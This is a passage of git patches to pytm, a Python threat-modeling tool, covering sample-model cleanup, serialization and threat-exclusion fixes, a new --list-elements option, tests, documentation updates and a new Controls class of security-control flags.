 db_to_secretDb.dstPort = 40234
@@ -66,31 +68,36 @@
 db_to_secretDb.note = "Verifying that the user is who they say they are."
 db_to_secretDb.maxClassification = Classification.SECRET
 
-comments_in_text = Data("Comments in HTML or Markdown", classification=Classification.PUBLIC)
+comments_in_text = Data(
+    "Comments in HTML or Markdown", classification=Classification.PUBLIC
+)
 user_to_web = Dataflow(user, web, "User enters comments (*)")
 user_to_web.protocol = "HTTP"
 user_to_web.dstPort = 80
 user_to_web.data = comments_in_text
 user_to_web.note = "This is a simple web app\nthat stores and retrieves user comments."
 
+query_insert = Data("Insert query with comments", classification=Classification.PUBLIC)
 web_to_db = Dataflow(web, db, "Insert query with comments")
 web_to_db.protocol = "MySQL"
 web_to_db.dstPort = 3306
-# this is a BAD way of defining a data object, here for a demo on how it
-# will appear on the sample report. Use Data objects.
-web_to_db.data = "MySQL insert statement, all literals"
+web_to_db.data = query_insert
 web_to_db.note = (
     "Web server inserts user comments\ninto it's SQL query and stores them in the DB."
 )
 
-comment_retrieved = Data("Web server retrieves comments from DB", classification=Classification.PUBLIC)
+comment_retrieved = Data(
+    "Web server retrieves comments from DB", classification=Classification.PUBLIC
+)
 db_to_web = Dataflow(db, web, "Retrieve comments")
 db_to_web.protocol = "MySQL"
 db_to_web.dstPort = 80
 db_to_web.data = comment_retrieved
 db_to_web.responseTo = web_to_db
 
-comment_to_show = Data("Web server shows comments to the end user", classifcation=Classification.PUBLIC)
+comment_to_show = Data(
+    "Web server shows comments to the end user", classifcation=Classification.PUBLIC
+)
 web_to_user = Dataflow(web, user, "Show comments (*)")
 web_to_user.protocol = "HTTP"
 web_to_user.data = comment_to_show

From 6331fa1aacf267e7247f14efe11378037ef30e55 Mon Sep 17 00:00:00 2001
From: Izar Tarandach <itarandach@squarespace.com>
Date: Wed, 4 Aug 2021 13:19:36 -0400
Subject: [PATCH 13/86] Fixed a serialization issue with sourceFiles and
 removed bad example from tm.py

---
 pytm/pytm.py | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index f57ffa02..7e351bea 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -195,7 +195,7 @@ def __set__(self, instance, value):
                 )
             ]
             sys.stderr.write(
-                f"FIXME: a dataflow is using a string as the Data attribute. This has been deprecated and Data objects should be created instead.\n"
+                "FIXME: a dataflow is using a string as the Data attribute. This has been deprecated and Data objects should be created instead.\n"
             )
 
         if not isinstance(value, Iterable):
@@ -1796,10 +1796,8 @@ def serialize(obj, nested=False):
                 value = value.name
             elif isinstance(obj, Threat) and i == "target":
                 value = [v.__name__ for v in value]
-            elif i == "levels":
+            elif i == "levels" or i == "sourceFiles":
                 value = list(value)
-            elif i == "sourceFiles":
-                value = ",".join(value)
             elif (
                 not nested
                 and not isinstance(value, str)

From 14e89f8f07eca89108d6a13b60da61fb5a5de9b2 Mon Sep 17 00:00:00 2001
From: snyk-bot <snyk-bot@snyk.io>
Date: Thu, 5 Aug 2021 01:31:30 +0000
Subject: [PATCH 14/86] fix: Dockerfile to reduce vulnerabilities

The following vulnerabilities are fixed with an upgrade:
- https://snyk.io/vuln/SNYK-ALPINE313-APKTOOLS-1533754
- https://snyk.io/vuln/SNYK-ALPINE313-KRB5-1533445
---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 3129bf3e..54d51bd9 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,4 +1,4 @@
-FROM python:3.9.5-alpine3.13
+FROM python:3.10.0rc1-alpine3.13
 
 WORKDIR /usr/src/app
 ENTRYPOINT ["sh"]

From 77dcab7ed066987fba1f9d6058d83796a56ff903 Mon Sep 17 00:00:00 2001
From: Raphael Ahrens <raphael.ahrens@fit.fraunhofer.de>
Date: Thu, 5 Aug 2021 16:06:02 +0200
Subject: [PATCH 15/86] Added the list-elements command

model.py --list-elements shows a list of all elements which can be used
in a threat model with pytm.

Why?
I often find my self looking up the exact names of the elements and
there doc string.

Currently the output looks like this.

Elements:
Actor          -- An entity usually initiating actions
Asset          -- An asset with outgoing or incoming dataflows
Boundary       -- Trust boundary groups elements and data with the same trust level.
Dataflow       -- A data flow from a source to a sink
Datastore      -- An entity storing data
ExternalEntity --
Lambda         -- A lambda function running in a Function-as-a-Service (FaaS) environment
Process        -- An entity processing data
Server         -- An entity processing data
SetOfProcesses --

Atributes:
Action         -- Action taken when validating a threat model.
Classification -- An enumeration.
Data           -- Represents a single piece of data that traverses the system
Lifetime       -- An enumeration.
TLSVersion     -- An enumeration.
---
 pytm/pytm.py | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 7e351bea..6899234c 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -492,6 +492,32 @@ def _describe_classes(classes):
         print()
 
 
+def _list_elements():
+    """List all elements which can be used in a threat model with the corisponding description"""
+    def all_subclasses(cls):
+        """Get all sub classes of a class"""
+        subclasses = set(cls.__subclasses__())
+        return subclasses.union(
+            (s for c in subclasses for s in all_subclasses(c)))
+
+    def print_components(cls_list):
+        elements = sorted(cls_list, key=lambda c: c.__name__)
+        max_len = max((len(e.__name__) for e in elements))
+        for sc in elements:
+            doc = sc.__doc__ if sc.__doc__ is not None else ''
+            print(f'{sc.__name__:<{max_len}} -- {doc}')
+    #print all elements
+    print('Elements:')
+    print_components(all_subclasses(Element))
+
+    # Print Attributes
+    print('\nAtributes:')
+    print_components(
+            all_subclasses(OrderedEnum) | {Data, Action, Lifetime}
+            )
+
+
+
 def _get_elements_and_boundaries(flows):
     """filter out elements and boundaries not used in this TM"""
     elements = set()
@@ -983,6 +1009,9 @@ def process(self):
         if result.describe is not None:
             _describe_classes(result.describe.split())
 
+        if result.list_elements:
+            _list_elements()
+
         if result.list is True:
             [print("{} - {}".format(t.id, t.description)) for t in TM._threats]
 
@@ -1864,6 +1893,9 @@ def get_args():
     _parser.add_argument(
         "--describe", help="describe the properties available for a given element"
     )
+    _parser.add_argument(
+        "--list-elements", action="store_true", help="list all elements which can be part of a threat model"
+    )
     _parser.add_argument("--json", help="output a JSON file")
     _parser.add_argument(
         "--levels",

From 419205f6b443e807cc10a967c97388baf0776c1c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jannik=20Sch=C3=A4fer?= <jannik-schaefer@inbox-online.de>
Date: Fri, 6 Aug 2021 11:01:20 +0200
Subject: [PATCH 16/86] Fixed sample threat model in README.md

---
 README.md | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/README.md b/README.md
index 0e126836..46b01672 100644
--- a/README.md
+++ b/README.md
@@ -119,7 +119,7 @@ that periodically cleans the Database.
 
 #!/usr/bin/env python3
 
-from pytm.pytm import TM, Server, Datastore, Dataflow, Boundary, Actor, Lambda
+from pytm.pytm import TM, Server, Datastore, Dataflow, Boundary, Actor, Lambda, Data, Classification
 
 tm = TM("my test tm")
 tm.description = "another test tm"
@@ -163,11 +163,12 @@ web_to_user.protocol = "HTTP"
 web_to_db = Dataflow(web, db, "Insert query with comments")
 web_to_db.protocol = "MySQL"
 web_to_db.dstPort = 3306
+
+db_to_web = Dataflow(db, web, "Comments contents")
+db_to_web.protocol = "MySQL"
 # this is a BAD way of defining a data object, here for a demo on how it
 # will appear on the sample report. Use Data objects.
 db_to_web.data = 'Results of insert op'
-db_to_web = Dataflow(db, web, "Comments contents")
-db_to_web.protocol = "MySQL"
 
 
 tm.process()

From f85886b512d8fdd749ea3f7cb05abea7b8874de5 Mon Sep 17 00:00:00 2001
From: Izar Tarandach <itarandach@squarespace.com>
Date: Thu, 26 Aug 2021 09:21:19 -0400
Subject: [PATCH 17/86] initial draft of discussed roadmap

---
 ROADMAP.md | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)
 create mode 100644 ROADMAP.md

diff --git a/ROADMAP.md b/ROADMAP.md
new file mode 100644
index 00000000..c6cd02c3
--- /dev/null
+++ b/ROADMAP.md
@@ -0,0 +1,16 @@
+# To the end of 2021
+
+* add more threat rules
+* add debugging capability to threat rules
+* merge/close existing PRs
+
+# 1H2022
+
+* add more rules
+* move to a more complete rule evaluation engine
+* export/import other popular TM tools data formats
+* lower barrier of entry by adding a new, natural way of describing systems
+
+# 2H2022
+
+* total world domination via threat modeling

From f392ca39516f2b34b4a4f588dc433ba3eeb86898 Mon Sep 17 00:00:00 2001
From: Raphael Ahrens <raphaelahrens@googlemail.com>
Date: Wed, 1 Sep 2021 10:37:55 +0200
Subject: [PATCH 18/86] Added the --list-elements command to the readme

The --list-elements command was mising in the README.md.
---
 README.md | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/README.md b/README.md
index 46b01672..940c82a0 100644
--- a/README.md
+++ b/README.md
@@ -60,12 +60,13 @@ All available arguments:
 ```text
 usage: tm.py [-h] [--sqldump SQLDUMP] [--debug] [--dfd] [--report REPORT]
              [--exclude EXCLUDE] [--seq] [--list] [--describe DESCRIBE]
-             [--json JSON] [--levels LEVELS [LEVELS ...]] [--stale STALE]
+             [--list-elements] [--json JSON] [--levels LEVELS [LEVELS ...]]
+             [--stale_days STALE_DAYS]
 
 optional arguments:
   -h, --help            show this help message and exit
-  --sqldump SQLDUMP     dumps all threat model elements and findings into
-                        the named sqlite file (erased if exists)
+  --sqldump SQLDUMP     dumps all threat model elements and findings into the
+                        named sqlite file (erased if exists)
   --debug               print debug messages
   --dfd                 output DFD
   --report REPORT       output report using the named template file (sample
@@ -73,15 +74,16 @@ optional arguments:
   --exclude EXCLUDE     specify threat IDs to be ignored
   --seq                 output sequential diagram
   --list                list all available threats
-  --describe DESCRIBE   describe the properties available for a given
-                        element
+  --describe DESCRIBE   describe the properties available for a given element
+  --list-elements       list all elements which can be part of a threat model
   --json JSON           output a JSON file
   --levels LEVELS [LEVELS ...]
                         Select levels to be drawn in the threat model (int
                         separated by comma).
-  --stale_days STALE_DAYS    checks if the delta between the TM script and the
-                        code described by it is bigger than the specified
-                        value in days
+  --stale_days STALE_DAYS
+                        checks if the delta between the TM script and the code
+                        described by it is bigger than the specified value in
+                        days
 ```
 
 The *stale_days* argument tries to determine how far apart in days the model script (which you are writing) is from the code that implements the system being modeled. Ideally, they should be pretty close in most cases of an actively developed system. You can run this periodically to measure the pulse of your project and the 'freshness' of your threat model.

From 7d850b0dc7c9a1c8710037d5ac2796af69b4d991 Mon Sep 17 00:00:00 2001
From: Raphael Ahrens <raphael.ahrens@fit.fraunhofer.de>
Date: Thu, 2 Sep 2021 14:09:01 +0200
Subject: [PATCH 19/86] An empty threat model with ignoreUnused throws an error

If a model has only elements which will not be displayed because
ignoreUnused is set to True the function _sort_elements() fails.

This is caused by a call to max(orders.values())` which then is
`max([])` which is not a computable value.

The error is caused by a module like this or an empty model.

```
from pytm import (
    TM,
    Actor,
)

tm = TM("my test tm")
tm.ignoreUnused = True

actor = Actor('actor')

if __name__ == "__main__":
    tm.process()
```
---
 pytm/pytm.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 6899234c..4a15cb27 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -318,6 +318,8 @@ def _sort(flows, addOrder=False):
 
 
 def _sort_elem(elements):
+    if len(elements) == 0:
+        return elements
     orders = {}
     for e in elements:
         try:

From 1ccdd9b8267bbee8cbee6b2b5100202f042c6d6f Mon Sep 17 00:00:00 2001
From: Raphael Ahrens <raphaelahrens@googlemail.com>
Date: Wed, 8 Sep 2021 10:44:20 +0200
Subject: [PATCH 20/86] Removed the obsolete use of Strings as data

In the tests some data values where still set to strings
---
 tests/test_private_func.py | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/tests/test_private_func.py b/tests/test_private_func.py
index 7fae55d1..98f08a0c 100644
--- a/tests/test_private_func.py
+++ b/tests/test_private_func.py
@@ -81,16 +81,18 @@ def test_defaults(self):
         tm = TM("TM")
         user_data = Data("HTTP")
         user = Actor("User", data=user_data, authenticatesDestination=True)
+        json_data = Data("JSON")
         server = Server(
-            "Server", port=443, protocol="HTTPS", isEncrypted=True, data="JSON"
+            "Server", port=443, protocol="HTTPS", isEncrypted=True, data=json_data
         )
+        sql_resp = Data("SQL resp")
         db = Datastore(
             "PostgreSQL",
             isSQL=True,
             port=5432,
             protocol="PostgreSQL",
             isEncrypted=False,
-            data="SQL resp",
+            data=sql_resp,
         )
         worker = Process("Task queue worker")
 
@@ -106,8 +108,9 @@ def test_defaults(self):
         req_post_data = Data("JSON")
         req_post = Dataflow(user, server, "HTTP POST", data=req_post_data)
         resp_post = Dataflow(server, user, "HTTP Response", isResponse=True)
-
-        worker_query = Dataflow(worker, db, "Query", data="SQL")
+        
+        sql_data = Data("SQL")
+        worker_query = Dataflow(worker, db, "Query", data=sql_data)
         Dataflow(db, worker, "Results", isResponse=True)
 
         cookie = Data("Auth Cookie", carriedBy=[req_get, req_post])

From dad8fd1111eb5ce7491365d3f71bee4eb9480fb0 Mon Sep 17 00:00:00 2001
From: Izar Tarandach <itarandach@squarespace.com>
Date: Wed, 15 Sep 2021 11:34:36 -0400
Subject: [PATCH 21/86] HTML escaping missed the 'target' field when cleaning
 Findings

---
 pytm/pytm.py | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 7e351bea..955b9e18 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -659,7 +659,7 @@ def __repr__(self):
         )
 
     def __str__(self):
-        return f"{self.target}: {self.description}\n{self.details}\n{self.severity}"
+        return f"'{self.target}': {self.description}\n{self.details}\n{self.severity}"
 
 
 class TM:
@@ -747,6 +747,7 @@ def resolve(self):
 
                 finding_count += 1
                 f = Finding(e, id=str(finding_count), threat=t)
+                logger.debug(f"new finding: {f}")
                 findings.append(f)
                 elements[e].append(f)
         self.findings = findings
@@ -1824,6 +1825,9 @@ def encode_threat_data(obj):
         "condition",
     ]
 
+    if type(obj[0]) is Finding:
+        attrs.append("target")
+
     for e in obj:
         t = copy.deepcopy(e)
 

From 8cc9d03c374ff5c19dfd0f8218308dc330f0f9ed Mon Sep 17 00:00:00 2001
From: Izar Tarandach <itarandach@squarespace.com>
Date: Wed, 15 Sep 2021 11:34:36 -0400
Subject: [PATCH 22/86] HTML escaping missed the 'target' field when cleaning
 Findings

---
 pytm/pytm.py | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 7e351bea..955b9e18 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -659,7 +659,7 @@ def __repr__(self):
         )
 
     def __str__(self):
-        return f"{self.target}: {self.description}\n{self.details}\n{self.severity}"
+        return f"'{self.target}': {self.description}\n{self.details}\n{self.severity}"
 
 
 class TM:
@@ -747,6 +747,7 @@ def resolve(self):
 
                 finding_count += 1
                 f = Finding(e, id=str(finding_count), threat=t)
+                logger.debug(f"new finding: {f}")
                 findings.append(f)
                 elements[e].append(f)
         self.findings = findings
@@ -1824,6 +1825,9 @@ def encode_threat_data(obj):
         "condition",
     ]
 
+    if type(obj[0]) is Finding:
+        attrs.append("target")
+
     for e in obj:
         t = copy.deepcopy(e)
 

From 7d0bbcc461ccab6fe31508132ae50d173ab672ec Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jannik=20Sch=C3=A4fer?= <jannik-schaefer@inbox-online.de>
Date: Fri, 17 Sep 2021 17:30:25 +0200
Subject: [PATCH 23/86] Fixed excluded threat IDs being ignored

---
 pytm/pytm.py | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 4a15cb27..18e6e366 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -773,6 +773,9 @@ def resolve(self):
                 if not t.apply(e) and t.id not in override_ids:
                     continue
 
+                if t.id in TM._threatsExcluded:
+                    continue
+
                 finding_count += 1
                 f = Finding(e, id=str(finding_count), threat=t)
                 findings.append(f)
@@ -981,6 +984,9 @@ def process(self):
         if result.debug:
             logger.setLevel(logging.DEBUG)
 
+        if result.exclude is not None:
+            TM._threatsExcluded = result.exclude.split(",")
+
         if result.seq is True:
             print(self.seq())
 
@@ -1005,9 +1011,6 @@ def process(self):
         if result.report is not None:
             print(self.report(result.report))
 
-        if result.exclude is not None:
-            TM._threatsExcluded = result.exclude.split(",")
-
         if result.describe is not None:
             _describe_classes(result.describe.split())
 

From 063861946850c3b00d1643c8e70f5fd8bcd8dccb Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Mon, 27 Sep 2021 22:21:46 -0400
Subject: [PATCH 24/86] clean up & bugfixes

---
 docs/advanced_template.md | 11 +++++++----
 pytm/template_engine.py   | 19 ++++++++++---------
 2 files changed, 17 insertions(+), 13 deletions(-)

diff --git a/docs/advanced_template.md b/docs/advanced_template.md
index 9d1297df..2fd184b5 100644
--- a/docs/advanced_template.md
+++ b/docs/advanced_template.md
@@ -14,9 +14,11 @@
 
 Name|From|To |Data|Protocol|Port
 |:----:|:----:|:---:|:----:|:--------:|:----:|
-{dataflows:repeat:|{{item.name}}|{{item.source.name}}|{{item.sink.name}}|{{item.data}}|{{item.protocol}}|{{item.dstPort}}|
+{dataflows:repeat:|{{item.display_name:call:}}|{{item.source.name}}|{{item.sink.name}}|{{item.data}}|{{item.protocol}}|{{item.dstPort}}|
 }
 
+{dataflows:repeat:{{item:call:getElementType}}
+}
 ## Data Dictionary
 
 Name|Description|Classification|Carried|Processed
@@ -63,7 +65,8 @@ Name|{{item.name}}
 |:----|:----|
 Description|{{item.description}}|
 In Scope|{{item.inScope}}|
-Parent|{{item:call:getParentName}}{{item.parents:not:N/A, primary boundary}}|
+Immediate Parent|{{item.parents:if:{{item:call:getParentName}}}}{{item.parents:not:N/A, primary boundary}}|
+All Parents|{{item.parents:call:{{{{item.display_name:call:}}}}, }}|
 Classification|{{item.maxClassification}}|
 Finding Count|{{item:call:getFindingCount}}|
 
@@ -93,7 +96,7 @@ Finding Count|{{item:call:getFindingCount}}|
 ## Assets 
 
 {assets:repeat:
-|Name|{{item.name}}|
+Name|{{item.name}}|
 |:----|:----|
 Description|{{item.description}}|
 In Scope|{{item.inScope}}|
@@ -131,7 +134,7 @@ Name|{{item.name}}
 Description|{{item.description}}|
 Sink|{{item.sink}}|
 Source|{{item.source}}|
-|Is Response|{{item.isResponse}}
+Is Response|{{item.isResponse}}|
 In Scope|{{item.inScope}}|
 Finding Count|{{item:call:getFindingCount}}|
 
diff --git a/pytm/template_engine.py b/pytm/template_engine.py
index aea40cdb..9118a5d4 100644
--- a/pytm/template_engine.py
+++ b/pytm/template_engine.py
@@ -22,7 +22,7 @@ def format_field(self, value, spec):
 
         elif spec.startswith("call:") and hasattr(value, "__call__"):
            # Example usage, format, exampple format
-           # methood:call                                {item:call:getParentName}
+           # methood:call                                {item.display_name:call:}
            # methood:call:template                       {item.parents:call:{{item.name}}, }
             result = value()
 
@@ -36,28 +36,29 @@ def format_field(self, value, spec):
            # Example usage, format, exampple format
            # object:call:method_name                     {item:call:getFindingCount}
            # object:call:method_name:template            {item:call:getNamesOfParents:
-           #                                             **{{item}}**
+           #                                             {{item}}
            #                                             }
 
             method_name = spec_parts[1]
-            template = spec.partition(":")[-1]
 
             result = self.call_util_method(method_name, value)
 
             if type(result) is list:
+                template = spec.partition(":")[-1]
+                template = template.partition(":")[-1]
                 return "".join([self.format(template, item=item) for item in result])
 
             return result
 
         elif (spec.startswith("if") or spec.startswith("not")):
            # Example usage, format, exampple format
-           # object.bool:if:template                     {item.inScope:if:<p>Is in scope.</p>}
-           # object:if:template                          {item.findings:if:<p>Has Findings</p>}
-           # object.method:if:template                   {item.parents:if:<p>Has Parents</p>}
+           # object.bool:if:template                     {item.inScope:if:Is in scope}
+           # object:if:template                          {item.findings:if:Has Findings}
+           # object.method:if:template                   {item.parents:if:Has Parents}
            #
-           # object.bool:not:template                     {item.inScope:not:<p>Is not in scope.</p>}
-           # object:not:template                          {item.findings:not:<p>Has No Findings</p>}
-           # object.method:not:template                   {item.parents:not:<p>Has No Parents</p>}
+           # object.bool:not:template                     {item.inScope:not:Is not in scope}
+           # object:not:template                          {item.findings:not:Has No Findings}
+           # object.method:not:template                   {item.parents:not:Has No Parents}
  
             template = spec.partition(":")[-1]
             if (hasattr(value, "__call__")):

From 9ce94a1c0ea15c4531093456bfeb16c483c2fd8f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jannik=20Sch=C3=A4fer?= <jannik-schaefer@inbox-online.de>
Date: Tue, 28 Sep 2021 19:52:13 +0200
Subject: [PATCH 25/86] Add unittest for excluded threat IDs

---
 tests/test_pytmfunc.py | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/tests/test_pytmfunc.py b/tests/test_pytmfunc.py
index f0e3e90a..d390b8fe 100644
--- a/tests/test_pytmfunc.py
+++ b/tests/test_pytmfunc.py
@@ -186,6 +186,28 @@ def test_dfd_duplicates_raise(self):
         with self.assertRaisesRegex(ValueError, e):
             tm.check()
 
+    def test_exclude_threats_ignore(self):
+        random.seed(0)
+
+        TM.reset()
+
+        excluded_threat = "INP03"
+        remaining_threat = "AA01"
+
+        TM._threatsExcluded = [excluded_threat]
+
+        tm = TM("my test tm", description="aaa")
+        web = Server("Web")
+        web.sanitizesInput = False
+        web.encodesOutput = False
+        self.assertTrue(threats[excluded_threat].apply(web))
+        self.assertTrue(threats[remaining_threat].apply(web))
+
+        tm.resolve()
+
+        self.assertNotIn(excluded_threat, [t.threat_id for t in tm.findings])
+        self.assertIn(remaining_threat, [t.threat_id for t in tm.findings])
+
     def test_resolve(self):
         random.seed(0)
 

From cdd4003fffe4635cf35709d3d76773f13ce20727 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jannik=20Sch=C3=A4fer?= <jannik-schaefer@inbox-online.de>
Date: Tue, 28 Sep 2021 20:03:25 +0200
Subject: [PATCH 26/86] Reset '_threatsExcluded' when calling TM.reset()

---
 pytm/pytm.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 18e6e366..5b3ec3e5 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -739,6 +739,7 @@ def reset(cls):
         cls._threats = []
         cls._boundaries = []
         cls._data = []
+        cls._threatsExcluded = []
 
     def _init_threats(self):
         TM._threats = []

From beaffa300283f8be7ebcf4f330a3d2125b5a90c3 Mon Sep 17 00:00:00 2001
From: Nick Ozmore <nozmore@veracode.com>
Date: Wed, 29 Sep 2021 00:51:56 -0400
Subject: [PATCH 27/86] Added Controls class as an Element instance variable,
 moved control based annotations to control class, updated threatlib, enabled
 json output and updated existing tests.

---
 pytm/json.py                |    1 +
 pytm/pytm.py                |  400 ++++++++-----
 pytm/threatlib/threats.json |  184 +++---
 tests/output.json           | 1074 ++++++++++++++++++++++++++---------
 tests/test_private_func.py  |   31 +-
 tests/test_pytmfunc.py      |  350 ++++++------
 tm.py                       |   16 +-
 7 files changed, 1375 insertions(+), 681 deletions(-)

diff --git a/pytm/json.py b/pytm/json.py
index 1d77ffaa..db0c7af7 100644
--- a/pytm/json.py
+++ b/pytm/json.py
@@ -14,6 +14,7 @@
     SetOfProcesses,
     Action,
     Lambda,
+    Controls,
 )
 
 
diff --git a/pytm/pytm.py b/pytm/pytm.py
index 9791b7a4..897c8dc6 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -235,6 +235,14 @@ def __ne__(self, other):
     def __str__(self):
         return ", ".join(sorted(set(d.name for d in self)))
 
+class varControls(var):
+    def __set__(self, instance, value):
+        if not isinstance(value, Controls):
+            raise ValueError(
+                "expecting an Controls "
+                "value, got a {}".format(type(value))
+            )
+        super().__set__(instance, value)
 
 class Action(Enum):
     """Action taken when validating a threat model."""
@@ -409,25 +417,25 @@ def _apply_defaults(flows, data):
         if e.isResponse:
             e._safeset("protocol", e.source.protocol)
             e._safeset("srcPort", e.source.port)
-            e._safeset("isEncrypted", e.source.isEncrypted)
+            e.controls._safeset("isEncrypted", e.source.controls.isEncrypted)
             continue
 
         e._safeset("protocol", e.sink.protocol)
         e._safeset("dstPort", e.sink.port)
-        if hasattr(e.sink, "isEncrypted"):
-            e._safeset("isEncrypted", e.sink.isEncrypted)
-        e._safeset("authenticatesDestination", e.source.authenticatesDestination)
-        e._safeset("checksDestinationRevocation", e.source.checksDestinationRevocation)
+        if hasattr(e.sink.controls, "isEncrypted"):
+            e.controls._safeset("isEncrypted", e.sink.controls.isEncrypted)
+        e.controls._safeset("authenticatesDestination", e.source.controls.authenticatesDestination)
+        e.controls._safeset("checksDestinationRevocation", e.source.controls.checksDestinationRevocation)
 
         for d in e.data:
             if d.isStored:
-                if hasattr(e.sink, "isEncryptedAtRest"):
+                if hasattr(e.sink.controls, "isEncryptedAtRest"):
                     for d in e.data:
-                        d._safeset("isDestEncryptedAtRest", e.sink.isEncryptedAtRest)
+                        d._safeset("isDestEncryptedAtRest", e.sink.controls.isEncryptedAtRest)
                 if hasattr(e.source, "isEncryptedAtRest"):
                     for d in e.data:
                         d._safeset(
-                            "isSourceEncryptedAtRest", e.source.isEncryptedAtRest
+                            "isSourceEncryptedAtRest", e.source.controls.isEncryptedAtRest
                         )
             if d.credentialsLife != Lifetime.NONE and not d.isCredentials:
                 d._safeset("isCredentials", True)
@@ -703,7 +711,7 @@ class TM:
     _data = []
     _threatsExcluded = []
     _sf = None
-    _duplicate_ignored_attrs = "name", "note", "order", "response", "responseTo"
+    _duplicate_ignored_attrs = "name", "note", "order", "response", "responseTo", "controls"
     name = varString("", required=True, doc="Model name")
     description = varString("", required=True, doc="Model description")
     threatsFile = varString(
@@ -840,6 +848,17 @@ def _check_duplicates(self, flows):
                     right._is_drawn = True
                     continue
 
+                left_controls_attrs = left.controls._attr_values()
+                right_controls_attrs = right.controls._attr_values()
+                #for a in self._duplicate_ignored_attrs:
+                #    del left_controls_attrs[a], right_controls_attrs[a]
+                if left_controls_attrs != right_controls_attrs:
+                    continue
+                if self.onDuplicates == Action.IGNORE:
+                    right._is_drawn = True
+                    continue
+
+
                 raise ValueError(
                     "Duplicate Dataflow found between {} and {}: "
                     "{} is same as {}".format(
@@ -1112,6 +1131,110 @@ def get_table(self, db, klass):
         ]
         return db.define_table(name, fields)
 
+class Controls:
+    """Controls implemented by/on and Element"""
+
+    #allowsClientSideScripting = varBool(False) #NOZ - positive attestation of negative behavior?. not a fan of this one.
+    authenticatesDestination = varBool(
+        False,
+        doc="""Verifies the identity of the destination,
+for example by verifying the authenticity of a digital certificate.""",
+    )
+    authenticatesSource = varBool(False)
+    authenticationScheme = varString("")
+    authorizesSource = varBool(False)
+    checksDestinationRevocation = varBool(
+        False,
+        doc="""Correctly checks the revocation status
+of credentials used to authenticate the destination""",
+    )
+    checksInputBounds = varBool(False)
+    definesConnectionTimeout = varBool(False)
+    disablesDTD = varBool(False)
+    disablesiFrames = varBool(False)
+    encodesHeaders = varBool(False)
+    encodesOutput = varBool(False)
+    encryptsCookies = varBool(False)
+    encryptsSessionData = varBool(False)
+    handlesCrashes = varBool(False)
+    handlesInterruptions = varBool(False)
+    handlesResourceConsumption = varBool(False)
+    #handlesResources = varBool(False) #NOZ What is this? 
+    hasAccessControl = varBool(False)
+    implementsAuthenticationScheme = varBool(False)
+    implementsCSRFToken = varBool(False)
+    implementsNonce = varBool(
+        False,
+        doc="""Nonce is an arbitrary number
+that can be used just once in a cryptographic communication.
+It is often a random or pseudo-random number issued in an authentication protocol
+to ensure that old communications cannot be reused in replay attacks.
+They can also be useful as initialization vectors and in cryptographic
+hash functions.""",
+    )
+    implementsPOLP = varBool(
+        False,
+        doc="""The principle of least privilege (PoLP),
+also known as the principle of minimal privilege or the principle of least authority,
+requires that in a particular abstraction layer of a computing environment,
+every module (such as a process, a user, or a program, depending on the subject)
+must be able to access only the information and resources
+that are necessary for its legitimate purpose.""",
+    )
+    implementsServerSideValidation = varBool(False)
+    implementsStrictHTTPValidation = varBool(False)
+    invokesScriptFilters = varBool(False)
+    isEncrypted = varBool(False, doc="Requires incoming data flow to be encrypted")
+    isEncryptedAtRest = varBool(False, doc="Stored data is encrypted at rest")
+    isHardened = varBool(False)
+    isResilient = varBool(False)
+    providesConfidentiality = varBool(False)
+    providesIntegrity = varBool(False)
+    sanitizesInput = varBool(False)
+    tracksExecutionFlow = varBool(False)
+    #usesCache = varBool(False)
+    usesCodeSigning = varBool(False)
+    usesEncryptionAlgorithm = varString("")
+    usesMFA = varBool(
+        False,
+        doc="""Multi-factor authentication is an authentication method
+in which a computer user is granted access only after successfully presenting two
+or more pieces of evidence (or factors) to an authentication mechanism: knowledge
+(something the user and only the user knows), possession (something the user
+and only the user has), and inherence (something the user and only the user is).""",
+    )
+    usesParameterizedInput = varBool(False)
+    usesSecureFunctions = varBool(False)
+    #usesSessionTokens = varBool(False) #NOZ - Was this intended as a control?
+    usesStrongSessionIdentifiers = varBool(False) #NOZ - Was this intended as a control?
+    usesVPN = varBool(False)
+    validatesContentType = varBool(False)
+    validatesHeaders = varBool(False)
+    validatesInput = varBool(False)
+    verifySessionIdentifiers = varBool(False)
+
+    def _attr_values(self):
+        klass = self.__class__
+        result = {}
+        for i in dir(klass):
+            if i.startswith("_") or callable(getattr(klass, i)):
+                continue
+            attr = getattr(klass, i, {})
+            if isinstance(attr, var):
+                value = attr.data.get(self, attr.default)
+            else:
+                value = getattr(self, i)
+            result[i] = value
+        return result
+
+
+    def _safeset(self, attr, value):
+        try:
